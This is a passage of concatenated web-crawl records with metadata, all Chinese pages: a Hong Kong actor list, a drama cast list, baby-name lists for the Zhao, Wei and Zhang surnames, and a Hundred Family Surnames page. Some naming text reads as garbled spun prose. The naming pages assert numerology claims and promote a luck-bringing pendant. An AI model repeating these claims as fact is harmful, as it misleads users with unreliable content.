王 王浩信 甄 甄子丹 田 田蕊妮 盧 盧宛茵 盧海鵬 石 石修 秦 秦沛 羅 羅嘉良 翁 翁美玲 胡 胡定欣 苗 苗僑偉 莫 莫文蔚 萬 萬梓良 萬綺雯 葉 葉德嫻 葉振棠 蔣 蔣志光 藍 藍潔瑛 許 許冠傑 許冠文 許冠英 許紹雄 謝 謝天華 謝雪心 邵 邵美琪 郭 郭富城 郭峰 郭政鴻 郭晉安 郭羡妮 鄧 鄧萃雯 鄭 鄭則仕 鄭嘉穎 鄭子誠 鄭少秋 鍾 鍾嘉欣 關 關智斌 關禮傑 關詠荷 陳 陳國邦 陳展鵬 陳曉東 陳豪 陳鴻烈 韓 韓馬利 馬 馬國明 馬德鐘 馮 馮允謙 駱 駱應鈞 麥 麥長青 黃 黃子華 黃日華 黃智賢 黃智雯 黃秋生 黎 黎耀祥 黎諾懿 取自 \"https:\/\/evchk.wikia.org\/zh\/wiki\/分類:實力派演員?oldid=535005\" 分類: 高登娛樂名人 演員 除非另有註明,否則社區內容均使用CC-BY-SA授權條款。","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/evchk.wikia.org\/zh\/wiki\/%E5%88%86%E9%A1%9E:%E5%AF%A6%E5%8A%9B%E6%B4%BE%E6%BC%94%E5%93%A1","date":"2021-06-18T15:35:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487637721.34\/warc\/CC-MAIN-20210618134943-20210618164943-00553.warc.gz","language":"lzh","language_score":0.712071836,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7120718359947205, \"cmn_Hani_score\": 0.24377398192882538, \"yue_Hani_score\": 0.02383451722562313, \"nan_Hani_score\": 0.01912536844611168}","num_words":199,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.324,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.821,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n陸劇《開國領袖毛澤東》由唐國強 劉勁 王伍福 孫飛虎 徐光明 郭連文 邵宏來 許正廷 王健 崔可法 顧永菲 丁笑宜 田景山 許毛毛 谷偉 李樹生 姚居德 謝鋼 王麗媛 田甬 史鑫 車曉彤 高長利 張衛國 吳桂苓 狄劍青 呂武霖 邵峰 呂一丁 芮麗蓉 張元昌 王洪武 周宗印 王躍進 賀鏹 唐湯民 過齊鳴 馬曉偉 李振平 齊景斌 郭壽陽 林中華 霍德集 添守善 念凡 董九如 鄭乾龍 陳強 鄭曉寧 趙燕國彰 王麗雲 林津鋒 劉長純 於東江 黃金城 劉仲元 張志宏 李貽清 肖立昂 張巖 徐揚 牟雲 等主演,楊光遠 王冀邢 執導。","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/itv8.tv\/show\/89710.html","date":"2021-07-24T00:29:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046150067.87\/warc\/CC-MAIN-20210724001211-20210724031211-00298.warc.gz","language":"lzh","language_score":0.9025640488,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9025640487670898, \"nan_Hani_score\": 0.0626952275633812, \"cmn_Hani_score\": 0.03329920768737793}","num_words":66,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.894,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓趙女孩名字好聽大全\n趙恨之 趙心愫 趙悠素 趙夢雨 趙希月 趙舒云 趙真儀 趙易文 趙懷寒 趙熙熙 趙晴照 趙婉靜 趙南 趙天真 趙名姝 趙蕭玉 趙雅蕊 趙翠荷 趙翠柏 趙女 趙美麗 趙璧 趙凌春 趙友梅 趙舒懷 趙千凡 趙世 趙綺梅 趙慧美 趙訪波 趙嘉悅 趙夢琪 趙馨逸 趙青 趙聽楓 趙霞月 趙沛凝 趙語夢 趙美麗 趙芳馨 趙畫 趙金 趙多思 趙余 趙闌 趙妙晴 趙靜楓 趙紫文 趙筠溪 趙嘉玉 趙雅丹 趙芷天 趙仙韻 趙語絲 趙晶輝 趙易蓉 趙弘麗 趙青香 趙恨竹 趙元彤 趙凝丹 趙悠逸 趙孟 趙映波 趙如冬 趙倫 趙幻竹 趙莉莉 趙涵菱 趙懷山 趙安萱 趙又青 趙谷菱 趙湛娟 趙煦 趙香旋 趙白翠 趙紫薇 趙梧 趙雪蘭 趙雪萍 趙秀杰 趙飛槐 趙書白 趙紫安 趙修美 趙梅梅 趙琬凝 趙夜天 趙伶俐 趙憐煙 趙清霽 趙凌霜 趙映雁 趙懷玉 趙姣 趙曉莉 趙恬美 趙旋 趙慕梅 趙巧香 趙妙顏 趙端麗 趙雅柔 趙靜和 趙安琪 趙潔 趙綠蓉 趙逸雅 趙芮波 趙瑰瑋 趙語柳 趙天悅 趙瀅渟 趙從蕾 趙凌寒 趙依絲 趙胤文 趙晗玥 趙香芹 趙淑 趙霜 趙望舒 趙蕭曼 趙雪珊 趙安南 趙奕 趙平和 趙含巧 趙天蓉 趙芳潔 趙凌蝶 趙喬 趙爾琴 趙依楠 趙采白 趙清綺 趙田田 趙雪楓 趙迎 趙惠麗 趙懷慕 趙爰爰 趙思柔 趙嘉怡 趙映冬 趙綺琴 趙宛兒 趙憶曼 趙婭欣 趙晴霞 趙雁露 趙憶梅 趙浩嵐 趙筠竹 趙書凝 趙貝麗 趙白亦 趙云水 趙素華 趙一 趙秀媛 趙曉筠 趙妙之 趙以松 趙翠桃 趙明熙 趙嬌然 趙沛容 趙香天 趙向夢 趙智敏 趙之 趙恬默 趙初夏 趙聰 趙如波 趙楠 趙令梅 趙沛柔 趙曼容 趙詩懷 趙思山 趙青柏 趙智菱 趙馨欣 趙暖暖 趙品韻 趙巧蕊 趙秀婉 趙半蓮 趙驪萍 趙代珊 趙潔玉 趙葳 趙樂心 趙沙 趙義 趙子琳 趙友靈 趙春柔 趙新梅 趙盼晴 趙香芹 趙憐煙 趙正思 趙海之 趙念柏 趙新文 趙清寧 趙木 趙月明 趙依然 趙寄風 趙覓夏 趙虹影 趙慧云 趙迎波 趙慧捷 趙碧菡 趙桂華 趙平綠 趙儀 趙千柳 趙紅艷 趙水瑤 趙靜珊 趙梓璐 趙琛麗 趙柔婉 趙思萌 趙詩雙 趙雅致 趙夢菡 趙語兒 趙虹英 趙凝安 趙碧螺 趙代巧 趙夏彤 趙訪冬 趙涵 趙姝 趙木蘭 趙凌波 趙姝惠 趙熙柔 趙蕊珠 趙向松 趙晶晶 趙奧維 趙清妙 趙夏萱 趙靜嫻 趙念蕾 趙清舒 趙蓉城 趙豐雅 趙忻慕 趙云飛 趙玉蘭 趙巧春 趙幼菱 趙思美 趙寒煙 趙飛珍 趙云亭 趙文漪 趙曼辭 趙芷天 趙樂蓉 趙逸秀 趙冷雪 趙麗華 趙縈心 趙琇芬 趙合 趙姝艷 趙靜恬 趙天媛 趙凝潔 趙凝芙 趙方方 趙懷薇 趙夢旋 趙孤丹 趙冬亦 趙覓丹 趙欣嘉 趙飛雪 趙凡巧 趙吉欣 趙雁卉 趙菁 趙瑛瑤 趙寄蓉 趙清華 趙柔妙 趙典雅 趙芳 趙夢桃 趙清馨 趙香春 趙華樂 趙笑容 趙松 趙問蘭 趙盼丹 趙音華 趙涵易 趙夏柳 趙雅柏 趙珺琪 趙寄蕾 趙綺玉 趙玲瓏 趙碧蓉 趙芷文 趙夏菡 趙又菡 趙令怡 趙雁風 趙冬梅 趙馳雪 趙馳 趙安筠 趙宵月 趙曉慧 趙文君 趙曉山 趙歌飛 趙詩蘭 趙初 趙明凝 趙沛凝 趙新梅 趙綺艷 趙樂安 趙書雙 趙莊 趙睿 趙萱彤 趙梅雪 趙昕昕 趙瀅 趙思萱 趙迎絲 趙君潔 趙書萱 趙雯華 趙凝遠 趙靖 趙初晴 趙清一 趙幼荷 趙音韻 趙清懿 趙云飛 趙梓榆 趙古香 趙苗 趙詩丹 趙采萱 趙凌絲 趙夏山 趙依云 趙靜芙 趙巧凡 趙香梅 趙曼寒 趙依云 趙孟樂 趙銀河 趙雅容 趙淳雅 趙寄南 趙流婉 趙雪晴 趙淑賢 趙辰 趙語海 趙沛兒 趙從丹 趙秀曼 趙漪 趙文瑤 趙安蓮 趙天睿 趙浩嵐 趙清寧 趙月桂 趙迎夏 趙易巧 趙凝安 趙妞妞 趙葉芳 趙山彤 趙夢露 趙惜雪 趙瑛琭 趙洛妃\n趙姓女孩好聽詩意名字\n趙姓女孩好聽詩意名字如何起\n趙姓女孩起名不能采用太低俗低等的字;太過度低俗低等的名字就仿佛一個十分漂亮且好看的人穿到了十分臟的衣服褲子,而這一就是說一件十分缺憾的事兒,并且那樣的名字還會令人有不大好的怪怪的感。\n趙姓女孩起名采用字不必太過多;哪些事兒都務必要維持非常好的適度才可以給與自身和他人一種非常好的覺得,或許起名字還要那樣,應當要維持謙遜一些,不能太過顯出,不然就會給與他人一種不得勁的覺得,也會令人覺得這人有點兒太傲慢。\n趙姓女孩起名要留意不能采用不認識的字; 趙姓就是說一個一般常用的姓式,因此所配搭的字也應當如果常用的字,那樣才會擁有非常好的配搭感,也讓名字擁有很好的舒適感。\n女生姓 趙怎么取名字?今日網編就來給大伙兒強烈推薦一些超好聽時尚潮流的 趙姓女寶寶名字,一起給姓 趙的女生一個有時代特色的名字吧!\n趙姓女生超好聽詩意的名字能夠參照古詩文來起名字;古詩文里的詞句都擁有非常好的喻意,而且還全是相對性唯美意境,也有著非常好的詩情畫意,以那樣的詞語來起名字,一般能夠給與他人一種很好的舒適感和專業知識感。\n趙姓女孩起名留意不可以用不分性別的字;有許多字全是適用男人女人,因此就會導致較為難在名字上去差別一個人的姓別。女孩子名字就應當要挑選含有女士化學物質,像女字旁的字都很合適。\n趙姓女孩起名不宜含有貶義的字;中國漢字里擁有許多的字都含有著不太好的意思,而這種字如果用于起名字,一般都是讓他人覺得這人從此名毫無疑問會有一定的關系,或多或少都存有著此類實際意義,因此務必要防止貶詞的字,才能夠防止不太好的難堪和不佳感出現。\n趙姓女生超好聽有詩意的名字要記牢字與字中間的配搭務必要有非常好的順暢和吹順耳,也有很好的舒適感。\n趙姓女孩好聽詩意名字大全\n趙蓮 趙念之 趙向雪 趙孤丹 趙爾真 趙幻巧 趙紅 趙曼云 趙麗思 趙曲靜 趙情韻 趙易真 趙音景 趙葉舞 趙靈慧 趙爾蓉 趙慕晴 趙洛妃 趙小凝 趙迎梅 趙笑雯 趙婉儀 趙豫 趙念念 趙飛薇 趙云溪 趙香柳 趙葦 趙玲瑯 趙竹月 趙青文 趙凝思 趙蘭夢 趙又綠 趙沛珊 趙月杉 趙瀅 趙純 趙夢華 趙頤真 趙宛亦 趙從霜 趙水藍 趙暄嫣 趙沛凝 趙秀媛 趙寄靈 趙多思 趙亦云 趙虹英 趙幼旋 趙迎絲 趙若南 趙邵 趙流逸 趙閔雨 趙冰瑩 趙含蕊 趙司晨 趙珺婭 趙傲絲 趙安蓮 趙妙旋 趙恬美 趙雁凡 趙覓 趙慧語 趙欣嘉 趙幻翠 趙蓉蓉 趙青 趙芊芊 趙憶柏 趙曄 趙夢 趙儂 趙憶秋 趙夏 趙幻露 趙恨真 趙問兒 趙可嘉 趙恬悅 趙亦凝 趙青煙 趙斯文 趙山彤 趙初蝶 趙曼寒 趙寄文 趙童欣 趙新冬 趙逸云 趙癡香 趙詩懷 趙愉 趙雯麗 趙靜楓 趙歌 趙蕙 趙彩 趙穎 趙慧艷 趙半安 趙雅凡 趙凡 趙悅心 趙含巧 趙尋芹 趙湘 趙蕓熙 趙寒煙 趙優 趙琪華 趙曉暢 趙向秋 趙沛凝 趙癡梅 趙語薇 趙蘭月 趙瑯 趙柳思 趙亦絲 趙向卉 趙涵梅 趙琦 趙涵菱 趙樂容 趙欣 趙盼晴 趙霏霏 趙巧夏 趙璇子 趙斯琪 趙瑛琭 趙紅旭 趙友珊 趙昕雨 趙欣可 趙南晴 趙沛凝 趙懷桃 趙冰之 趙天心 趙冷之 趙妙晴 趙雅素 趙雅媚 趙湉 趙嫚 趙星兒\n90分以上姓趙的女名字\n趙姓是一個很常用的姓式,都是一個大姓。那麼,90分以上姓趙的女名字常有什么?一起來看看。\n趙恬美 趙合美 趙娜蘭 趙飛煙 趙之桃 趙綺文 趙玨 趙芬芬 趙平和 趙閑華 趙南晴 趙可可 趙以欣 趙谷翠 趙沛白 趙之卉 趙問香 趙雅蕊 趙傲菡 趙瑤岑 趙夢琪 趙安珊 趙芷蝶 趙雅琴 趙幼白 趙玲琳 趙詩雙 趙以冬 趙躍 趙凡靈 趙佳文 趙丹彤 趙獻儀 趙凌蘭 趙寶 趙靈萱 趙綺懷 趙吉欣 趙月悅 趙友菱 趙俊慧 趙麥冬 趙樂容 趙凌柏 趙陶然 趙友易 趙葉吉 趙婭玟 趙芳蕤 趙婧 趙沛藍 趙聽春 趙凌 趙醉冬 趙臻 趙清心 趙夢容 趙蕾 趙懷 趙悅媛 趙夏山 趙從霜 趙思怡 趙駿燕 趙綺梅 趙凝芙 趙冷亦 趙梓暄 趙清漪 趙新月 趙香芹 趙詩槐 趙夢露 趙憶敏 趙思雨 趙心慈 趙雯君 趙安禎 趙蕊珠 趙水蓉 趙惜夢 趙凝綠 趙曉露 趙璇珠 趙冬易 趙惠君 趙悅欣 趙淑蘭 趙萱 趙春綠 趙尋 趙依柔 趙冰藍 趙代雙 趙又兒 趙晨曦 趙思聰 趙琲瓃 趙涵菡 趙楠楠 趙驪萍 趙靜楓 趙沛凝 趙冷雁 趙涵涵 趙若英 趙念文 趙和暖 趙望舒 趙長娟 趙悅和 趙安筠 趙夏旋 趙半 趙雁蓉 趙盼香 趙閔 趙煦 趙思菱 趙妙思 趙凡巧 趙驪紅 趙蘭夢 趙北嘉 趙思萱 趙凝安 趙穆 趙憶楓 趙文惠 趙邵美 趙南風 趙瓊嵐 趙凌晴 趙沛柔 趙娜 趙安蓮 趙芷云 趙友安 趙朝旭 趙恬靜 趙爾蝶 趙珠 趙夜夢 趙可嘉 趙云霞 趙嵐彩 趙舒蘭 趙欣嘉 趙虹玉 趙冰綠 趙牧 趙吉玟 趙傲薇 趙紅英 趙惜靈 趙依云 趙君麗 趙子珍 趙盼波 趙以彤 趙孤晴 趙慧艷 趙以蕊 趙安容 趙偲 趙揚 趙素昕 趙夢秋 趙覓兒 趙柔淑 趙樂蓉 趙采珊 趙麗芳 趙順美 趙新竹 趙幻 趙天慧 趙容 趙語蝶 趙夏萱 趙憶秋 趙采楓 趙詩桃 趙覓翠 趙蕓馨 趙巧蕊 趙沛凝 趙以晴 趙璇子 趙靜云 趙暄 趙夏山 趙谷菱 趙山 趙芳洲 趙語山 趙丹煙 趙芊 趙清霽 趙齊心 趙恬美 趙涵菱 趙問風 趙詩蕊 趙琦巧 趙夏云 趙哲美 趙寄藍 趙姝好 趙梓珊 趙思娜 趙蘭蕙 趙英華 趙樂蕓 趙春桃 趙熙陽 趙采柳 趙婭欣 趙言 趙清逸 趙宛曼 趙映雁 趙嘉穎 趙虹英 趙韶麗 趙方儀 趙春翠 趙寒夢 趙睿哲 趙飛雙 趙莞然 趙涵潤 趙雪曼 趙長霞 趙靜嫻 趙麗雅 趙曼妮 趙菀菀 趙采文 趙凡之 趙晏 趙惜筠 趙儀 趙蔓 趙朗寧 趙月怡 趙半蕾 趙曼衍 趙樂安 趙雋 趙山靈 趙弘麗 趙之桃 趙初晴 趙歌飛 趙涵易 趙抒懷 趙雅靜 趙香蝶 趙子菡 趙珠玉 趙惜萍 趙獻 趙寒香 趙映冬 趙夢旋 趙沛若 趙方方 趙以彤 趙梓柔 趙祺 趙亦云 趙尋春 趙丁 趙傲白 趙安寒 趙和靜 趙元 趙默 趙代雙 趙婷玉 趙曼彤 趙霞綺 趙倫 趙傲松 趙真潔 趙睿姿 趙綠蕊 趙懷薇 趙丹亦 趙甜恬 趙雅可 趙問筠 趙依玉 趙涵暢 趙平靈 趙芳澤 趙嘉歆 趙秀雋 趙悅欣 趙香彤 趙瑩玉 趙安安 趙幻竹 趙香菱 趙玄靜 趙浩嵐 趙玉英 趙秋露 趙孤菱 趙曼云 趙愉婉 趙清華 趙楠 趙靜婉 趙娟妍 趙曼雁 趙薇 趙若菱 趙易云 趙元容 趙米 趙爾風 趙妙音 趙多思 趙平春 趙南蓮 趙筠心 趙代靈 趙雪卉 趙妍雅 趙惜玉 趙依凝 趙悠雅 趙湛恩 趙芮瀾 趙宛凝 趙甜 趙代珊 趙若蘭 趙蘿 趙文靜 趙春妤 趙宵雨 趙易文 趙幻香 趙芮波 趙敏慧 趙冬靈 趙羅 趙縈心 趙飲 趙懌悅 趙谷藍 趙飛蘭 趙幻桃 趙芳芳 趙施然 趙吉月 趙靜柏 趙倚云 趙荷珠 趙春英 趙惜 趙笑 趙牧歌 趙悅喜 趙以晴 趙又亦 趙琬 趙覓翠 趙傲霜 趙宛絲 趙綠蕊 趙慕山 趙雪巧 趙欣悅 趙瓏玲 趙季雅 趙旎旎 趙悅怡 趙麗 趙悅遠 趙馳麗 趙元芹 趙靜云 趙憶丹 趙寒云 趙美麗 趙芳林 趙映安 趙寒雁 趙奇 趙恬欣 趙沛雯 趙又藍 趙芊芊 趙淼 趙宜春 趙翠陽 趙問筠","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/www.desiber.com\/nvhai\/36.html","date":"2021-09-27T01:52:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780058222.43\/warc\/CC-MAIN-20210926235727-20210927025727-00483.warc.gz","language":"lzh","language_score":0.8154979348,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.8154979348182678, \"nan_Hani_score\": 0.18443889915943146}","num_words":971,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.833,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n危艾 危安 危奔 危彬 危斌 危滨 危冰 危兵 危波 危博 危渤 危灿 危昶 危畅 危超 危晨 危诚 危慈 危达 危大 危丹 危东 危丰 危风 危枫 危峰 危凤 危富 危刚 危戈 危海 危海 危海 危海 危汉 危汗 危翰 危杭 危航 危好 危昊 危浩 危皓 危赫 危恒 危宏 危鸿 危虎 危辉 危慧 危岌 危佳 危嘉 危建 危健 危杰 危瑾 危晋 危京 危晶 危敬 危靓 危靖 危静 危军 危君 危俊 危骏 危开 危剀 危垲 危恺 危铠 危楷 危康 危可 危魁 危昆 危琨 危岚 危乐 危勒 危力 危立 危利 危励 危炼 危林 危淋 危霖 危岭 危龙 危茂 危浼 危冕 危淼 危妙 危敏 危明 危鸣 危铭 危缪 危沐 危楠 危宁 危纽 危鹏 危品 危平 危齐 危淇 危琦 危琪 危强 危芹 危全 危然 危榕 危软 危瑞 危森 危沙 危杉 危晟 危诗 危柿 危收 危帅 危爽 危顺 危思 危澌 危四 危韬 危特 危天 危汀 危崴 危宛 危婉 危菀 危琬 危皖 危望 危葳 危微 危薇 危巍 危韦 危桅 危唯 危惟 危维 危潍 危伟 危纬 危苇 危炜 危玮 危娓 危卫 危未 危味 危蔚 危慰 危魏 危雯 危妩 危武 危物 危淅 危娴 危显 危险 危羡 危骁 危消 危潇 危晓 危筱 危肖 危效 危笑 危啸 危昕 危鑫 危秀 危旭 危续 危泫 危桠 危亚 危延 危严 危岩 危炎 危研 危颜 危琰 危彦 危谚 危焱 危扬 危阳 危洋 危烨 危一 危伊 危漪 危仪 危夷 危沂 危宜 危乙 危艺 危奕 危羿 危轶 危逸 危意 危溢 危毅 危懿 危音 危樱 危盈 危滢 危勇 危右 危妤 危宇 危雨 危聿 危昱 危渊 危垣 危越 危云 危泽 危彰 危珍 危桢 危臻 危震 危峥 危止 危枳 危志 危中 危忠 危竹 危子 危佐 危坐 危婵 危芳 危芬 危红 危花 危洁 危婧 危娟 危丽 危琳 危玲 危梅 危娜 危倩 危蓉 危婷 危文 危雪 危嫣 危妍 危艳 危燕 危瑶 危怡 危瑛 危莹 危颖 危媛 危悦","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-133-2.html","date":"2021-09-21T10:29:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00566.warc.gz","language":"lzh","language_score":0.5390124917,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5390124917030334, \"cmn_Hani_score\": 0.37333405017852783, \"yue_Hani_score\": 0.07765208184719086}","num_words":285,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.325,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.542,"perplexity_score":500.0,"cluster_detection":1} +{"text":"張姓男寶寶的名字應該怎樣取才會顯得沉穩大氣呢?一個好的男孩名字,應該要有符合男孩自己的生辰八字喜忌、三才五格數理以及彌補五行缺失屬性,這樣名字才會增強男寶寶的運勢,為寶寶以后成長道路上帶來更多的幫助。下面由起名網提供了一些比較沉穩大氣的名字,家長可以參考一下:\n沉穩大氣的張姓男寶寶名字\n張茂勝 張石成 張樹湘 張培植 張西銀 張良東 張建班 張順利 張永岳 張可貴 張方靜 張成春 張浩標 張迎福 張友正 張浩瀚 張文統 張慧仁 張陶然 張道鋒 張光南 張鐘濤 張文升 張毅鴻 張秋印 張潤發 張洪廷 張道智 張金源 張山江 張國彤 張海奇 張杰君 張發艷 張威鵑 張方慶 張付林 張興堅 張子陽 張陽洋 張武倫 張洲君 張繼鳴 張正路 張華旺 張王理 張宗迎 張華鈞 張戰國 張時成 張麗法 張劍州 張冰慶 張金遠 張安周 張斌霖 張一敏 張海欽 張修新 張宇鳳 張崇河 張漢初 張志福 張凡飛 張亮然 張飛浩 張賢青 張祖琦 張其立 張大中 張長保 張繼天 張正城 張光方 張磊旺 張旭州 張浩俊 張惠余 張澤帥 張克中 張敏臣 張軍男 張雙興 張平泰 張岳恩 張楊春 張禮毅 張登奎 張軍吉 張陽樹 張海杰 張總坤 張同友 張柏光 張平柱 張勇定 張剛剛 張一娟 張存文 張石濤 張波永 張生雙 張鐵壽 張劍松 張樂燦 張國橋 張兵全 張兆堂 張柏曉 張本金 張加洋 張平吉 張堅洪 張震揚 張利有 張昌運 張運梁 張巍利 張圣斌 張為達 張康月 張剛寶 張有丹 張星彥 張傳霖 張相富 張永吉 張一花 張石洪 張加玉 張躍梅 張大正 張寧輝 張立壽 張炳曉 張洪余 張思朋 張雙球 張智舟 張占芬 張順寶 張紹益 張安超 張志鋼 張潤恩 張程雨 張禮天 張育耀 張圣勝 張錫前\n父母若想給自己的男寶寶起一個有吉祥數理的名字,可以參照徐墨齋居士創作的《徐氏五行命相學》,運用五行喜用屬性起名。比如,你的男寶寶命中所喜數字為34、56,那么給他起的名字與姓的總筆畫數符合34、56會比較好。若條件允許的話,為了寶寶能夠更加健康、平安地長大成人,可以給男寶寶佩戴一枚\"金鑲玉關公\",來趨吉避兇、保平安。","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.5950204.live\/nanhai\/10524.html","date":"2020-07-07T22:44:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655895944.36\/warc\/CC-MAIN-20200707204918-20200707234918-00071.warc.gz","language":"lzh","language_score":0.7045272589,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7045272588729858, \"nan_Hani_score\": 0.13944995403289795, \"cmn_Hani_score\": 0.1332964301109314, \"yue_Hani_score\": 0.022711334750056267}","num_words":153,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.726,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- 百家姓:百家姓_百家姓全文_百家姓大全\n《百家姓》是一本关于中文姓氏的书,成书于北宋初。原收集姓氏411个,后增补到504个,其中单姓444个,复姓60个。\n《百家姓》的次序不是按姓氏人口实际排列。\"赵钱孙李\"成为《百家姓》前四姓是因为百家姓形成于宋朝的吴越塘地区,故而宋朝皇帝的赵氏、吴越国国王钱氏、吴越国王钱俶正妃孙氏以及南唐国王李氏成为百家姓前四位。2009年,《百家姓》被中国世界纪录协会收录为中国最早的姓氏书。\n百家姓排名2021年排名\n王,李,张,刘,陈,杨,黄,吴,赵,周, 徐,孙,马,朱,胡,林,郭,何,高,罗, 郑,梁,谢,宋,唐,许,邓,冯,韩,曹, 曾,彭,萧,蔡,潘,田,董,袁,于,余, 叶,蒋,杜,苏,魏,程,吕,丁,沈,任, 姚,卢,傅,钟,姜,崔,谭,廖,范,汪, 陆,金,石,戴,贾,韦,夏,邱,方,侯, 邹,熊,孟,秦,白,江,阎,薛,尹,段, 雷,黎,史,龙,陶,贺,顾,毛,郝,龚, 邵,万,钱,严,赖,覃,洪,武,莫,孔。\n百家姓\n近期查询历史: 赵氏 李氏 周氏 吴氏 吴氏 郑氏 王氏 王氏 冯氏 陈氏 褚氏 蒋氏 沈氏 朱氏 秦氏 许氏 何氏 吕氏 施氏 曹氏 严氏 陶氏 姜氏 谢氏 邹氏 柏氏 窦氏 章氏 苏氏 潘氏 葛氏 奚氏 范氏 彭氏 郎氏 鲁氏 韦氏 昌氏 马氏 马氏 苗氏 凤氏 花氏 方氏 俞氏 任氏 袁氏 柳氏 酆氏 酆氏 鲍氏 史氏 史氏 唐氏 唐氏 费氏 廉氏 岑氏 薛氏 雷氏 雷氏 贺氏 倪氏 汤氏 滕氏 殷氏 罗氏 毕氏 郝氏 邬氏 安氏 常氏 常氏 乐氏 于氏 时氏 傅氏 皮氏 卞氏 齐氏 康氏 康氏 伍氏 余氏 余氏 元氏 卜氏 顾氏 孟氏 平氏 黄氏 和氏 穆氏 萧氏 尹氏 姚氏 姚氏 湛氏 汪氏 祁氏 狄氏 米氏 贝氏 明氏 臧氏 计氏 伏氏 成氏 戴氏 宋氏 茅氏 熊氏 纪氏 舒氏 屈氏 屈氏 祝氏 董氏 杜氏 蓝氏 闵氏 席氏 席氏 季氏 强氏 贾氏 娄氏 危氏 江氏 童氏 郭氏 梅氏 盛氏 盛氏 钟氏 徐氏 高氏 夏氏 蔡氏 樊氏 凌氏 霍氏 虞氏 万氏 柯氏 昝氏 昝氏 管氏 卢氏 莫氏 经氏 房氏 裘氏 缪氏 解氏 应氏 宗氏 丁氏 宣氏 贲氏 贲氏 邓氏 邓氏 单氏 杭氏 洪氏 包氏 左氏 石氏 吉氏 龚氏 程氏 陆氏 荣氏 翁氏 羊氏 羊氏 於氏 惠氏 甄氏 曲氏 封氏 羿氏 储氏 汲氏 汲氏 邴氏 糜氏 松氏 井氏 段氏 巫氏 乌氏 焦氏 巴氏 隗氏 隗氏 侯氏 宓氏 蓬氏 郗氏 仰氏 秋氏 仲氏 伊氏 仇氏 栾氏 暴氏 暴氏 钭氏 厉氏 厉氏 戎氏 祖氏 符氏 刘氏 刘氏 景氏 景氏 詹氏 龙氏 叶氏 司氏 韶氏 郜氏 黎氏 宿氏 白氏 蒲氏 蒲氏 台氏 从氏 索氏 籍氏 赖氏 屠氏 池氏 苍氏 双氏 闻氏 莘氏 莘氏 翟氏 贡氏 贡氏 劳氏 劳氏 申氏 扶氏 郦氏 雍氏 却氏 桑氏 桂氏 濮氏 濮氏 牛氏 通氏 通氏 扈氏 燕氏 冀氏 冀氏 郏氏 温氏 充氏 习氏 习氏 习氏 宦氏 艾氏 鱼氏 古氏 易氏 慎氏 终氏 暨氏 居氏 都氏 耿氏 满氏 弘氏 匡氏 国氏 文氏 广氏 欧氏 沃氏 越氏 夔氏 隆氏 师氏 巩氏 巩氏 聂氏 勾氏 敖氏 融氏 冷氏 訾氏 空氏 曾氏 毋氏 鞠氏 须氏 丰氏 巢氏 关氏 相氏 相氏 查氏 荆氏 游氏 竺氏 权氏 益氏 桓氏 万俟氏 司马氏 上官氏 欧阳氏 闻人氏 东方氏 赫连氏 皇甫氏 尉迟氏 公羊氏 澹台氏 公冶氏 宗政氏 濮阳氏 濮阳氏 单于氏 太叔氏 公孙氏 闾丘氏 亓官氏 亓官氏 仉督氏 子车氏 颛孙氏 端木氏 巫马氏 公西氏 漆雕氏 乐正氏 壤驷氏 公良氏 拓拔氏 谷粱氏 晋氏 楚氏 阎氏 法氏 汝氏 汝氏 鄢氏 钦氏 归氏 海氏 微生氏 微生氏 帅氏 帅氏 缑氏 亢氏 后氏 有氏 琴氏 梁丘氏 左丘氏 东门氏 西门氏 商氏 牟氏 佘氏 佴氏 伯氏 赏氏 赏氏 南宫氏 南宫氏 墨氏 哈氏 谯氏 笪氏 笪氏 年氏 爱氏 阳氏 阳氏 佟氏 第五氏 言氏 (每小时刷新)","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.kw360.net\/baijiaxing\/","date":"2023-06-06T14:05:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652569.73\/warc\/CC-MAIN-20230606114156-20230606144156-00198.warc.gz","language":"lzh","language_score":0.963103056,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9631030559539795, \"cmn_Hani_score\": 